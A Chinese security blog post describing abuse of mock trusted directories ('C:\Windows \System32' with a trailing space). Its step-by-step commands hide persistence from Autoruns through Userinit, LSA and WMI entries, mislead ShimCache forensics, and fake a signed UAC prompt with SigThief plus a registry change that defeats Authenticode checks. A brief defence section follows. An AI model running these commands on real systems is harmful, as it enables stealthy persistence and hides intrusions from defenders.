模拟可信目录的利用技巧扩展

isnull   ·   发表于 2019-04-09 12:02:36   ·   漏洞文章


0x00 前言


在上篇文章对通过模拟可信目录绕过UAC的方法进行了分析,本文将结合自己的经验,继续介绍模拟可信目录的另外三种利用技巧,最后给出防御建议


0x01 简介


本文将要介绍以下内容:

  • 利用模拟可信目录绕过Autoruns
  • 利用模拟可信目录欺骗ShimCache
  • 利用模拟可信目录伪造正常的UAC弹框

  • 0x02 利用模拟可信目录绕过Autoruns



    绕过原理:

    Autoruns默认不显示带有微软签名的文件,如果文件包含微软签名,默认不会显示在Autoruns面板

    在Windows系统的启动位置写入模拟可信目录下的文件,由于被识别为正常带有微软签名的文件,默认将不会显示在Autoruns面板

    经过测试,并不适用于所有的启动位置,具体测试如下:

    创建模拟的可信目录,添加测试文件:

    md "\\?\c:\windows "
    md "\\?\c:\windows \system32"
    copy c:\test\putty.exe "\\?\c:\windows \system32\notepad.exe"
    copy c:\test\calc.dll "\\?\c:\windows \system32\atl.dll"


    1、注册启动项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    系统启动时启动文件"C:\Windows \System32\notepad.exe",添加注册表的命令如下:

    reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RunTest /t REG_SZ /d "\"c:\windows \system32\notepad.exe\""

    注:

    "在cmd下转义后用\"表示

    Autoruns检测注册表项,将其识别为notepad.exe,如下图

    Alt text

    但在系统开机时启动的是正常notepad.exe,而不是putty.exe,失败


    2、注册启动项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下的Userinit

    查询原注册表项:

    reg query "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit

    默认键值内容为:C:\Windows\system32\userinit.exe,

    系统启动时启动文件"C:\Windows \System32\notepad.exe",添加注册表的命令如下:

    reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,\"c:\windows \system32\notepad.exe\"," /f

    注:

    "在cmd下转义后用\"表示

    系统开机时启动putty.exe,Autoruns检测注册表项,将其识别为notepad.exe,成功绕过

    如下图

    Alt text

    注:

    Autoruns默认不显示带有微软签名的文件,所以不会显示上图中的notepad.exe,上图为了演示专门设置为显示所有启动项


    3、LSA Providers

    注册启动项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa下的Security Packages

    添加键值"c:\windows \system32\atl.dll"

    Autoruns检测注册表项,将其识别为atl.dll,成功绕过

    如下图

    Alt text


    4、WMI

    每隔60秒启动文件"C:\Windows \System32\notepad.exe",添加wmi的命令如下:

    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows \System32\notepad.exe",CommandLineTemplate="C:\Windows \System32\notepad.exe"
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""

    执行后每隔一分钟启动putty.exe,Autoruns检测注册表项,将其识别为notepad.exe,成功绕过

    如下图

    Alt text

    补充:

    查看已注册wmi信息的命令如下:

    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list

    删除已注册wmi的命令如下:

    wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="BotFilter82" DELETE
    wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="BotConsumer23" DELETE
    wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='BotFilter82'" DELETE


    0x03 利用模拟可信目录欺骗ShimCache


    ShimCache不仅会记录exe文件的执行,而且会对exe文件同级目录下的文件进行记录(如果文件没有执行,那么Executed的属性为no)

    ShimCache只会在系统重新启动后更新(注销当前用户不会更新)

    也就是说,想要清除本次系统从启动至关机的ShimCache记录,有两种方法:


    (1)修改注册表

    备份当前注册表:

    reg export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" ShimCache.reg

    系统重启后,恢复注册表:

    reg import ShimCache.reg


    (2)非正常关机

    跳过写入注册表的操作,无法记录本次系统自启动至关机的记录


    (3)修改内存

    (理论上可行)

    这里我尝试利用模拟可信目录欺骗ShimCache,迷惑性很高

    方法如下:

    1. 创建可信目录"c:\windows \system32"

    md "\\?\c:\windows "
    md "\\?\c:\windows \system32"

    2. 释放文件"c:\windows \system32\calc.exe"

    copy c:\test\putty.exe "\\?\c:\windows \system32\notepad.exe"

    3. 执行

    "c:\windows \system32\notepad.exe"

    4. 重启后查看ShimCache

    使用工具: https://github.com/mandiant/ShimCacheParser

    reg export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" ShimCache.reg
    ShimCacheParser.py -o out.csv -r c:\test\ShimCache.reg -t

    查看结果,很具有迷惑性,如下图

    Alt text


    0x04 利用模拟可信目录伪造正常的UAC弹框



    1、编写需要管理员权限运行的程序

    使用Visual Studio

    VS工程设置位置:

    配置属性 -> 链接器 -> 清单文件,选择需要管理员权限运行

    也可以修改PE文件资源中的manifest


    2、模拟可信目录,释放文件

    copy c:\test\testuac.exe "\\?\c:\windows \system32\diskpart.exe"

    执行:"c:\windows \system32\diskpart.exe"

    弹出UAC提示,显示路径为正常的diskpart.exe,但是没有签名会提示异常,如下图

    Alt text

    注:

    执行正常的diskpart.exe,UAC提示如下图

    Alt text

    为了伪造成真正的UAC提示,可以使用PE文件的Authenticode签名伪造


    3、签名伪造

    使用SigThief,地址如下:

    https://github.com/secretsquirrel/SigThief

    参数如下:

    sigthief.py -i C:\Windows\System32\consent.exe -t c:\test\testuac.exe -o c:\test\new.exe 
    copy c:\test\new.exe "\\?\c:\windows \system32\diskpart.exe" /y


    4、绕过证书验证

    添加注册表的命令如下:

    REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\Windows\System32\ntdll.dll" /f
    REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f


    5、最终测试

    再次执行:"c:\windows \system32\diskpart.exe",UAC提示同真正的diskpart.exe一样,如下图

    Alt text


    0x05 防御建议


    对于模拟可信目录的利用,前提是创建了伪造的目录,所以可选择对文件夹的短文件名进行监控

    如果出现与系统目录相近的短文件名,可选择进行标记

    查看短文件名的方法:  dir /x

    如下图

    Alt text


    打赏我,让我更有动力~

    0 条回复   |  直到 2019-4-9 | 999 次浏览
    登录后才可发表内容
    返回顶部 投诉反馈

    © 2016 - 2024 掌控者 All Rights Reserved.